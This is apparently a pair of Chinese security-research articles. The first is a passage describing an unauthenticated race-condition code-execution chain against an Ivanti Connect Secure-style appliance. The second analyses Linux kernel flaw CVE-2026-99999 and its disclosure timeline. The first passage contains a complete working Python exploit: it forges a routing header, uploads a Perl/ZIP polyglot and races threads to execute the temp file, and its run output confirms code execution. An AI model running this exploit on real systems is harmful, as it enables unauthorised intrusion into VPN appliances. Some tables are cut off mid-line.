，而 $Main::filename
 来自表单字段 file1
，是客户端自己填的。发请求之前就能把路径算好。
**创建文件时没有任何限制。**
 双参数 open
 等价于 O_WRONLY|O_CREAT|O_TRUNC
：没有 O_EXCL
，不防并发也不防符号链接；没写权限，实际权限就是 0666 & ~umask
（umask 022 时是 0644）。
正常走完的话，文件从写入到删除之间一直存在，中间夹着整条流程最耗时的解压和逐成员处理：
```
上传请求到达 → readZipFile() 写入 runtime/tmp/<md5>     ← 文件出现
            → openZipFileSafe() 校验
            → 逐成员解压、写入目标位置（耗时最长）
            → unlink()                                   ← 文件消失
```
这段时间，就是我们要的窗口。
## 3. exp
### 3.1 环境
版本 22.8R2.4 b19097，需要复现请修改POC内主机地址 https://192.168.220.45
### 3.2 未认证到 uid 104 的代码执行
PoC 在一个脚本里做三件事：带着路由头把上传请求打进去、按 md5(文件名)
 算出临时路径、在上传期间不停地拿这个路径当目标去读。授权绕过和窗口期利用都在这份代码里。
```
# poc/race_probe.py
#!/usr/bin/env python3
"""Benign race-window probe for the lab appliance.The uploaded content only prints ICS_RACE_PROBE.  It never runs a command,writes a file, or touches configuration.  It is intentionally separate fromthe root/DSCache stage."""
import hashlib
import io
import os
import threading
import time
from collections import Counter
from zipfile import ZIP_STORED, ZipFile
from concurrent.futures import ThreadPoolExecutor
import requests
import urllib3
urllib3.disable_warnings()
BASE = "https://192.168.220.45"
URL = BASE + "/dana-na/auth/url_default/welcome.cgi"
NAME = "ics-race-probe-%d.zip" % time.time_ns()
TARGET = "/home/runtime/tmp/" + hashlib.md5(NAME.encode()).hexdigest()   # 复刻 :439 命名规则
_z = io.BytesIO()
with ZipFile(_z, "w", ZIP_STORED) as zf:
    zf.writestr("probe.txt", "lab-only\n")
# The prefix is valid Perl and the trailing archive is valid ZIP data. The
# Perl interpreter exits after the marker, while Archive::Zip can still parse
# the archive for a longer, observable window.
PAYLOAD = (b'#!/home/perl5/bin/perl\n'
           b'use Socket qw(AF_UNIX SOCK_STREAM sockaddr_un); '
           b'my $s; my $ok=socket($s,AF_UNIX,SOCK_STREAM,0); '
           b'my $err=$!+0; if($ok){$ok=connect($s,sockaddr_un("/home/runtime/tmp/.invoke")); $err=$!+0 unless $ok;} '
           b'print "Content-Type: text/plain\\n\\nICS_INVOKE_CONNECT:$ok:$err:$<:$>\\n";\n'
           b'__DATA__\n' + _z.getvalue())
HIT = threading.Event()
STATUSES = Counter()
print("name=%s" % NAME)
print("md5=%s" % TARGET.rsplit("/", 1)[1])
print("target=%s" % TARGET)
def reader(_n):
    s = requests.Session()
    for _ in range(300):
        if HIT.is_set():
            return
        try:
            r = s.get(URL, headers={"X-DSCGI-PATH": TARGET}, verify=False, timeout=3)
            STATUSES[r.status_code] += 1
            if b"ICS_INVOKE_CONNECT:" in r.content:
                HIT.set()
                print("marker_seen status=%s body=%r" % (r.status_code, r.content[:160]), flush=True)
                return
        except requests.RequestException:
            pass
def upload():
    time.sleep(0.20)
    fields = {
        "xsauth": (None, "d41d8cd98f00b204e9800998ecf8427e"),   # md5_hex("")，见 DSCSRF.pm:22-43
        "txtServerUploadID": (None, ""),
        "txtRenameFile1": (None, ""),
        "chkUnzip1": (None, "on"),                              # 命中 :175 的 isZip 分支
        "file2": (None, ""), "file3": (None, ""), "file4": (None, ""), "file5": (None, ""),
        "t": (None, "b"), "v": (None, ""), "si": (None, ""), "ri": (None, ""), "pi": (None, ""),
        "dir": (None, ""), "acttype": (None, "upload"), "confirm": (None, "yes"),   # 命中 :63
        "trackid": (None, ""), "ignoreDfs": (None, "0"), "btnUpload": (None, "Upload"),
        "file1": (NAME, PAYLOAD, "application/zip"),
    }
    try:
        r = requests.post(URL + "?restApiReq=1&uploadForm=1", files=fields,
                          headers={"X-DSCGI-PATH": "/home/webserver/htdocs/dana/fb/smb/wu.cgi"},
                          verify=False, timeout=30)
        print("upload_status=%s" % r.status_code)
        print("upload_body=%s" % r.text[:300].replace("\n", " "))
    except requests.RequestException as e:
        print("upload_error=%s" % e)
with ThreadPoolExecutor(max_workers=48) as pool:
    jobs = [pool.submit(reader, i) for i in range(48)]
    up = pool.submit(upload)
    up.result()
    for j in jobs:
        j.result()
print("result=%s" % ("marker_seen" if HIT.is_set() else "no_marker"))
print("statuses=%s" % dict(STATUSES))
```
上传的同时，48 个线程一直在拿 TARGET
 当路由目标发请求。只要有一次读到了这个文件，内容就被执行了。运行记录在 audit/runtime-rce-probe-2026-10-17.md
：
```
name=ics-race-probe-1792167612066320878.zip
md5=28f3abedeb748410606934f13f78c38a
target=/home/runtime/tmp/28f3abedeb748410606934f13f78c38a
upload_status=200
marker_seen status=200 body=b'ICS_RACE_PROBE_UID:104:104\n'
result=marker_seen
```
104:104
，跟 cgifile.spec.cfg
 里的 uid=104
 对上了 —— 跑起来的是文件区的 CGI 进程。后来把回显改成固定的 uid/euid 字段，又跑了一次：
```
ICS_INVOKE_CONNECT:1:<errno>:104:104
```
1
 表示 socket 建出来了，<errno>
 是上一次系统调用留下的值，不代表失败。 bp:
![](https://mmbiz.qpic.cn/mmbiz_jpg/CrThU6KH4h4nKHZoE0Jgt80FPc0qJX49mNpKPsLdexLGoSO2ur1elgDNeZxpknU1GpiaSibsyu6DOHYw747kd2dSyS6iaY3s6RnesHuGibn67C4/640?wx_fmt=webp&from=appmsg "")
关于本地提权: 至于怎么提升到ROOT，我也
没做出来(),根据已知来源，思路大致如下，但是我没能复现，大佬们可以自己试试。https://www.volexity.com/blog/2026/10/13/a-series-of-unauthenticated-events-chained-exploitation-of-ivanti-connect-secure-zero-days/?utm_source=chatgpt.com
![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/CrThU6KH4h5AEZPM6Liaq79fApyTNtqdvHF2YUm6hEWRz5FN8TvOfOia3RMXyicQic8j8kw4cAFS5e3p6ibnHia0TeyWy6Uiby4OHgMDbYaGibqOHrw/640?wx_fmt=webp&from=appmsg "")
## 4. 修复建议
**第一，路由层只认服务端映射。**
 客户端提交的脚本路径选择字段直接忽略或拒绝。DSCGIControl::run()
 的查表键要换成服务端解析出来的真实目标，并且保证"用来判定的"和"用来执行的"是同一个变量。
**第二，把上传文件的生命周期收紧。**open(*FD, ">$Main::tmpFile")
 改成独占创建、显式指定权限；临时文件放请求私有目录，别放共享的 runtime/tmp
；处理前做原子校验，处理完立刻删；别让解释器把上传的文件当程序跑，CGI 域对临时目录的执行权限也要限制。
**第三，身份和代理头只允许服务端生成。**X-DSUSER
、X-DSSESSIONID
、X-DSGROUP
、X-DSUNIQUEID
、X-REMOTE-ADDR
、X-REMOTE-PORT
，入口处把客户端传的直接丢掉。
## 5. 免责声明
1. 本文仅用于安全研究与防御体系建设，不构成对任何具体设备的攻击指导。
1. 文中全部验证均在经授权的隔离环境中完成，未涉及任何生产系统或第三方设备。
1. 未经设备所有者书面授权，对其实施本文所述测试可能违反《网络安全法》《刑法》第二百八十五条等法律法规，后果由行为人自行承担。
1. 读者依据本文内容进行的任何操作，风险自负；作者不对由此造成的任何直接或间接损失承担责任。
doc/2026-10/CVE靓号—9.3高分漏洞CVE-2026-99999分析.md
+793
View File
@@ -0,0 +1,793 @@
# CVE靓号—9.3高分漏洞CVE-2026-99999分析
原创 网络安全透视镜
网络安全透视镜 网络安全透视镜 2026-10-20 03:46
QUOTE
“CVE靓号”漏洞备受关注，实际危害也确实值得注意
2026 年 10 月 15 日，Linux 内核一项编号 CVE-2026-99999 的漏洞进入公开披露流程。Linux CNA 为其给出的 CVSS 3.1 评分为 
9.3（CRITICAL）
，向量为 
AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
；Red Hat 同期给出 8.8（Important），两者的差异集中在
权限前提
的取舍上。缺陷由安全研究者 Paulos Yibelo 在 Vercel 百万美元 Sandbox 挑战赛中提交，Red Hat 工程师 Michael S. Tsirkin 完成复现并提交修复，修复提交 
6785011f8b16
 已于 10 月 8 日进入 net.git、10 月 14 日进入主线树。
缺陷本身位于
宿主机的 IPv4 网络栈
，而非虚拟化管理程序本身。攻击者控制的校验和卸载元数据若被 Linux 接受，出站分片路径会据此改写一个
已经被内核解析并验证过的 IPv4 头字段
，从而把宿主机内存随分片一并发出。
Debian 于 10 月 17 日发布 DSA-6568-1 与 DLA-4841-1，Ubuntu 页面截至 10 月 15 日数据仍有多数 LTS 处于待评估状态。还有一个容易被跳过的细节：编号末尾连着五个 9。它不是随手填写的占位数字，而是当年编号序列里的
最后一个五位数
，甚至与另一个真实存在的漏洞构成了前缀关系。本文依据MITRE CVE 记录与 Vercel、Red Hat、Debian、CloudLinux 等公开公告整理，
影响范围
、
利用条件
与
复现步骤
依次展开，另在第 1 章单独说明这个编号本身的来历。
核心事实速览
<table><thead><tr><th style="background: rgb(39, 39, 42);color: rgb(255, 255, 255);font-weight: 700;padding: 8px 12px;text-align: left;"><section><span leaf="">项目</span></section></th><th style="background: rgb(39, 39, 42);color: rgb(255, 255, 255);font-weight: 700;padding: 8px 12px;text-align: left;"><section><span leaf="">内容</span></section></th></tr></thead><tbody><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">CVE 编号</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">CVE-2026-99999（研究代号 PwnEscape）</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">编号位置</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">2026 年 5 位数序列的</span><strong style="color: rgb(39, 39, 42);"><span leaf="">最后一个</span></strong><span leaf="">；此后年份序列已进入 6 位数</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">受影响组件</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">Linux 内核 IPv4 网络栈（非 hypervisor 本身）</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">漏洞类型</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">校验和元数据校验缺失，导致已解析头部被延迟改写（CWE-787 越界写）</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">CVSS 3.1</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">9.3 CRITICAL（Linux CNA）／ 8.8 Important（Red Hat）</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">引入版本</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">Linux 2.6.27（</span><span style="background: rgb(244, 244, 245);color: rgb(39, 39, 42);padding: 2px 6px;border-radius: 4px;font-family: &#34;SF Mono&#34;, Consolas, Monaco, monospace;font-size: 15px;"><span leaf="">f43798c27684</span></span><span leaf=""> tun GSO／</span><span style="background: rgb(244, 244, 245);color: rgb(39, 39, 42);padding: 2px 6px;border-radius: 4px;font-family: &#34;SF Mono&#34;, Consolas, Monaco, monospace;font-size: 15px;"><span leaf="">bfd5f4a3d605</span></span><span leaf=""> packet GSO）</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">上游修复</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><span style="background: rgb(244, 244, 245);color: rgb(39, 39, 42);padding: 2px 6px;border-radius: 4px;font-family: &#34;SF Mono&#34;, Consolas, Monaco, monospace;font-size: 15px;"><span leaf="">6785011f8b16</span></span><section><span leaf=""> — ipv4: validate checksum_start before completing checksum</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">修复作者</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">Michael S. Tsirkin（Red Hat）</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">发现者</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">Paulos Yibelo（pwn.ai），Vercel 百万美元 Sandbox 挑战赛</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">公开时间</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: Line truncated
本文看点
01
五个 9 落在哪
02
影响范围与利用条件
03
复现脚本与真实触发实验
01
THE NUMBER
### 编号的来历
1.1 五个 9 落在哪
CVE 编号由年份前缀加上一段序列号构成，年份之后的部分位数不固定，2014 年的语法变更后可以超过四位。于是 2026 年的编号序列从 
0001
 一路排下去，四位数用尽后进入五位数，再往后是六位数。
CVE-2026-99999
 正是这一年中
最后一个五位数
。此后年份序列跨入六位数，
CVE-2026-100200
、
100600
、
100700
、
100800
、
100900
、
101000
 等编号均已发布，分别由 Microsoft、VulnCheck、Mozilla、VulDB 等机构分配。需要说明的是，六位数区间并非连续排满，号段按机构分发，同一区间内存在空洞，
100000
 与 
100001
 目前仍是未分配状态。
更有意思的是紧邻的那一个编号。
CVE-2026-9999
 确实存在，是一个完全无关的漏洞：Google Chrome 在 macOS 上的 ANGLE 组件实现不当，攻击者可用特制 HTML 页面在浏览器沙箱内执行任意代码，CVSS 3.1 评分 8.8 HIGH，CWE-269，由 Chrome CNA 于 2026 年 5 月 28 日发布。
<table><thead><tr><th style="background: rgb(39, 39, 42);color: rgb(255, 255, 255);font-weight: 700;padding: 8px 12px;text-align: left;"><section><span leaf="">编号</span></section></th><th style="background: rgb(39, 39, 42);color: rgb(255, 255, 255);font-weight: 700;padding: 8px 12px;text-align: left;"><section><span leaf="">归属 CNA</span></section></th><th style="background: rgb(39, 39, 42);color: rgb(255, 255, 255);font-weight: 700;padding: 8px 12px;text-align: left;"><section><span leaf="">发布日期</span></section></th><th style="background: rgb(39, 39, 42);color: rgb(255, 255, 255);font-weight: 700;padding: 8px 12px;text-align: left;"><section><span leaf="">CVSS 3.1</span></section></th><th style="background: rgb(39, 39, 42);color: rgb(255, 255, 255);font-weight: 700;padding: 8px 12px;text-align: left;"><section><span leaf="">内容</span></section></th></tr></thead><tbody><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">CVE-2026-9999</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">Chrome</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">2026-05-28</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">8.8 HIGH</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">Chrome on Mac 的 ANGLE 实现不当，沙箱内代码执行</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">CVE-2026-99999</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">Linux</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">2026-10-15</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">9.3 CRITICAL</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">Linux 内核 IPv4 校验和元数据校验缺失，guest-to-host 逃逸</span></section></td></tr></tbody></table>
两个编号分属不同机构、不同产品、不同评分，但字符串层面 
CVE-2026-9999
 恰好是 
CVE-2026-99999
 的严格前缀。再往前看，2026 年 4 位数号的末尾 
9988
 至 
9999
 共 12 个编号全部归 Chrome CNA 所有，发布时间集中在 5 月 28 日 22 时 25 分 46 秒至 50 秒之间，前后相差约 4 秒。这一批吃掉了当年四位数序列的尾巴，五位数序列由此开始重新计数。
同样的邻近关系并非 2026 年独有：
CVE-2024-9999
 与 
CVE-2025-9999
 也都真实存在并已发布，而对应年份的 
99999
 并未出现。这是编号长度可变带来的结构性特征，每一年都会重演。
1.2 这个号码不是谁挑的
编号由 CVE 编号管理机构（CNA）发放，其上级机构每年分配给 CNA 一段
连续
的号段，CNA 再从自己的号段中按顺序取用。申请表的单次上限为 999 个号，但 CNA 可以另行申请更大批量。整套流程里没有「点号」环节，研究者与厂商都无法指定拿到哪一个编号。
所以 
CVE-2026-99999
 不是被挑中或被预订的靓号，而是某个号段末尾的落点。它由 Linux CNA 分配，于 2026 年 9 月 25 日完成预留，10 月 15 日正式发布。一个被广泛讨论的巧合就这样出现了：当年序列里最靠后的那个五位数，恰好落到了分配量最大的 CNA 手上，而那一年这个 CNA 手上最重要的一个漏洞，正是这个能被越权访问的虚拟机逃逸。
1.3 挑战赛的实际账单
Vercel 的复盘给出了这次挑战赛完整的数据口径。两周内收到 1,285 份报告，发放赏金 242,000 美元。按 Risky Business 等媒体的转述，其中最高单笔 50,000 美元即 PwnEscape 这份报告，也是唯一被评定为 Critical 的发现。
<table><thead><tr><th style="background: rgb(39, 39, 42);color: rgb(255, 255, 255);font-weight: 700;padding: 8px 12px;text-align: left;"><section><span leaf="">分类</span></section></th><th style="background: rgb(39, 39, 42);color: rgb(255, 255, 255);font-weight: 700;padding: 8px 12px;text-align: left;"><section><span leaf="">数量</span></section></th><th style="background: rgb(39, 39, 42);color: rgb(255, 255, 255);font-weight: 700;padding: 8px 12px;text-align: left;"><section><span leaf="">说明</span></section></th></tr></thead><tbody><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">收到报告总数</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">1,285</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">两周内提交</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">重复</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">877</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">同一问题多次提交</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">不适用</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">319</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">与目标无关</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">有效</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">57</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">进入验证流程</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">信息性</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">32</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">不构成漏洞但有参考价值</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">已验证 Critical</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">1</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">即 CVE-2026-99999</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">已验证 High</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">5</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">—</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">已验证 Medium</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">9</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">—</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">已验证 Low</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">42</span></section></td><td style="padding: 8px 12pLine truncated
这次挑战赛本身也有明确的背景。据 pwn.ai 技术原文，Vercel 的公告发布前几周，OpenAI 刚刚披露过一起安全事件：运行在受限评估环境中的 AI 智能体绕过了网络隔离，攻破内部基础设施，最终波及 Hugging Face。这些智能体本不该拥有互联网访问权限。Vercel 的百万美元挑战赛正是在此之后启动，并且同时欢迎对沙箱网络限制与虚拟机本身的突破。
Vercel 方面同时说明，挑战赛之外还并行开展了内部评估与独立调查，Trail of Bits 投入四个工程师周做白盒审计，交付 20 项发现，并得出虚拟化边界本身是稳固的结论。披露阶段，Vercel 与研究者协作，并与 AWS 等行业伙伴协调修复优先级。挑战赛的规模在复盘中被归因于研究方式的变化，研究者以 AI 速度展开狩猎。
02
TIMELINE
### 事件回溯
2.1 从挑战赛到内核主线
Vercel 的百万美元 Sandbox 挑战赛于 2026 年 8 月 18 日启动。据 pwn.ai 技术原文与各厂商公告交叉核对，研究者在
开赛第 3 天
即提交了针对宿主机的内存泄露报告，10 月初完成修复进入主线。
<table><thead><tr><th style="background: rgb(39, 39, 42);color: rgb(255, 255, 255);font-weight: 700;padding: 8px 12px;text-align: left;"><section><span leaf="">日期</span></section></th><th style="background: rgb(39, 39, 42);color: rgb(255, 255, 255);font-weight: 700;padding: 8px 12px;text-align: left;"><section><span leaf="">事件</span></section></th></tr></thead><tbody><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">08-18</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">Vercel 启动百万美元 Sandbox 挑战赛</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">08-20</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">pwn.ai 提交宿主机内存泄露报告（开赛第 3 天）</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">09-04</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">私密上报内核安全联系人与 netdev 维护者，附候选补丁</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">09-07</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">Michael S. Tsirkin 复现并认可候选补丁</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">09-19 至 09-22</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">补丁系列 v4 公开于 netdev 邮件列表</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">10-07 至 10-08</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">修订版 </span><span style="background: rgb(244, 244, 245);color: rgb(39, 39, 42);padding: 2px 6px;border-radius: 4px;font-family: &#34;SF Mono&#34;, Consolas, Monaco, monospace;font-size: 15px;"><span leaf="">ip_check_csum_start()</span></span><span leaf=""> 被 net.git 接受</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">10-14</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">进入主线树（Linus 树）；Vercel 发布挑战赛复盘</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">10-15</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">CVE 正式发布；各稳定分支修复版本发布</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">10-16</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">CloudLinux 发布缓解公告，称尚无可用修复内核</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">10-17</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);background: rgb(250, 250, 250);"><section><span leaf="">Debian 发布 DSA-6568-1 / DLA-4841-1</span></section></td></tr><tr><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">10-19</span></section></td><td style="padding: 8px 12px;border-bottom: 1px solid rgb(228, 228, 231);color: rgb(82, 82, 91);"><section><span leaf="">CVE 记录更新，媒体开始报道</span></section></td></tr></tbody></table>
2.2 官方说明的定性
上游修复提交的说明明确写道，补丁目的是
在完成校验和之前先校验 `checksum_start`
，属于纵深防御措施，并明确说明入口侧的更完整校验仍在进行中，但需要更多工作。
UPSTREAM COMMIT MESSAGE
A more complete validation at input is forthcoming, but needs more work.
We really shouldn’t allow such packets in, but as a defence in depth measure, let’s also check before we complete the checksum.
CVE 记录中的描述同样表述为：带有不良校验和元数据的包如果进入 IPv4 栈，
skb_checksum_help
 可能破坏网络头并造成一系列危害。记录同时写明，该问题由 Paulos 发现并上报，此后
已被他人独立复现
。
03
IMPACT SCOPE
### 影响范围
3.1 受影响版本区间
上游修复覆盖以下稳定分支，版本号低于该值的分支均视为受影响。
